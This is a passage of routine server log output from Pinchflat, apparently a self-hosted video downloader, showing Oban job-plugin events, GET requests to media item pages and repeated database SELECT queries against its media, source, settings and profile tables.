m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:25:49.140 [info] Sent 200 in 6ms 08:26:00.602 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:26:08.827 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:38.829 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:41.271 [info] GET /sources/1/media/9 08:26:41.271 [info] GET /sources/1/media/7 08:26:41.271 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "9", "source_id" => "1"} Pipelines: [:browser] 08:26:41.271 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "7", "source_id" => "1"} Pipelines: [:browser] 08:26:41.272 [debug] QUERY OK source="media_items" db=0.5ms idle=880.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [9] 08:26:41.272 [debug] QUERY OK source="media_items" db=0.5ms idle=589.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [7] 08:26:41.273 [debug] QUERY OK source="tasks" db=0.2ms idle=589.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [9] 08:26:41.273 [debug] QUERY OK source="tasks" db=0.5ms idle=589.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [7] 08:26:41.274 [debug] QUERY OK source="sources" db=0.8ms idle=589.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:26:41.274 [debug] QUERY OK source="sources" db=1.0ms idle=0.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:26:41.275 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:26:41.275 [debug] QUERY OK source="settings" db=0.3ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:26:41.275 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:26:41.275 [debug] QUERY OK source="settings" db=0.3ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:26:41.276 [debug] QUERY OK source="settings" db=0.3ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:26:41.276 [debug] QUERY OK source="settings" db=0.3ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:26:41.278 [debug] QUERY OK source="media_profiles" db=0.4ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:26:41.278 [debug] QUERY OK source="media_profiles" db=0.3ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:26:41.282 [info] Sent 200 in 10ms 08:26:41.282 [info] Sent 200 in 10ms 08:26:41.835 [info] GET /sources/1/media/6 08:26:41.835 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6", "source_id" => "1"} Pipelines: [:browser] 08:26:41.836 [debug] QUERY OK source="media_items" db=0.2ms idle=559.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6] 08:26:41.837 [debug] QUERY OK source="tasks" db=0.2ms idle=560.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6] 08:26:41.837 [debug] QUERY OK source="sources" db=0.4ms idle=558.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:26:41.838 [debug] QUERY OK source="settings" db=0.2ms idle=559.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:26:41.838 [debug] QUERY OK source="settings" db=0.3ms idle=445.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:26:41.839 [debug] QUERY OK source="settings" db=0.3ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:26:41.841 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:26:41.844 [info] Sent 200 in 8ms 08:27:00.603 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:27:08.831 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:12.288 [info] GET /sources/1/media/8 08:27:12.288 [info] GET /sources/1/media/20219/edit 08:27:12.288 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "20219", "source_id" => "1"} Pipelines: [:browser] 08:27:12.288 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "8", "source_id" => "1"} Pipelines: [:browser] 08:27:12.289 [debug] QUERY OK source="media_items" db=1.0ms idle=833.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [8] 08:27:12.290 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=1605.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [20219] 08:27:12.291 [debug] QUERY OK source="settings" db=0.3ms queue=0.3ms idle=607.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:12.291 [debug] QUERY OK source="tasks" db=0.6ms queue=0.1ms idle=607.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [8] 08:27:12.291 [debug] QUERY OK source="sources" db=0.6ms idle=607.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:27:12.292 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:12.292 [debug] QUERY OK source="settings" db=0.2ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:12.293 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:12.293 [debug] QUERY OK source="settings" db=0.2ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:12.295 [debug] QUERY OK source="settings" db=1.2ms queue=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:12.295 [info] Sent 200 in 7ms 08:27:12.296 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:27:12.299 [info] Sent 200 in 11ms 08:27:12.544 [info] GET /sources/1/media/11 08:27:12.544 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "11", "source_id" => "1"} Pipelines: [:browser] 08:27:12.545 [debug] QUERY OK source="media_items" db=0.3ms idle=251.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11] 08:27:12.546 [debug] QUERY OK source="tasks" db=0.6ms idle=250.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [11] 08:27:12.546 [debug] QUERY OK source="sources" db=0.9ms idle=252.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:27:12.547 [debug] QUERY OK source="settings" db=0.3ms idle=250.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:12.548 [debug] QUERY OK source="settings" db=0.2ms idle=90.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:12.549 [debug] QUERY OK source="settings" db=0.2ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:12.550 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:27:12.553 [info] Sent 200 in 8ms 08:27:15.885 [info] GET /sources/1/media/10/edit 08:27:15.885 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "10", "source_id" => "1"} Pipelines: [:browser] 08:27:15.886 [debug] QUERY OK source="media_items" db=0.3ms idle=421.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [10] 08:27:15.887 [debug] QUERY OK source="settings" db=0.2ms idle=203.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:15.887 [debug] QUERY OK source="settings" db=0.3ms idle=204.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:15.888 [debug] QUERY OK source="settings" db=0.3ms idle=205.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:15.891 [info] Sent 200 in 5ms 08:27:16.139 [info] GET /sources/1/media/11/edit 08:27:16.140 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "11", "source_id" => "1"} Pipelines: [:browser] 08:27:16.141 [debug] QUERY OK source="media_items" db=0.5ms idle=457.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11] 08:27:16.141 [debug] QUERY OK source="settings" db=0.3ms idle=255.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:16.142 [debug] QUERY OK source="settings" db=0.2ms idle=255.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:16.143 [debug] QUERY OK source="settings" db=0.1ms idle=255.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:16.145 [info] Sent 200 in 5ms 08:27:16.640 [info] GET /sources/1/media/12/edit 08:27:16.640 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12", "source_id" => "1"} Pipelines: [:browser] 08:27:16.641 [debug] QUERY OK source="media_items" db=0.4ms idle=500.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12] 08:27:16.642 [debug] QUERY OK source="settings" db=0.2ms idle=500.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:16.642 [debug] QUERY OK source="settings" db=0.1ms idle=500.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:16.643 [debug] QUERY OK source="settings" db=0.2ms idle=500.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:16.645 [info] Sent 200 in 5ms 08:27:31.745 [info] GET /sources/1/media/6/edit 08:27:31.745 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6", "source_id" => "1"} Pipelines: [:browser] 08:27:31.746 [debug] QUERY OK source="media_items" db=0.3ms idle=250.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6] 08:27:31.746 [debug] QUERY OK source="settings" db=0.3ms idle=63.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:31.747 [debug] QUERY OK source="settings" db=0.3ms idle=64.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", 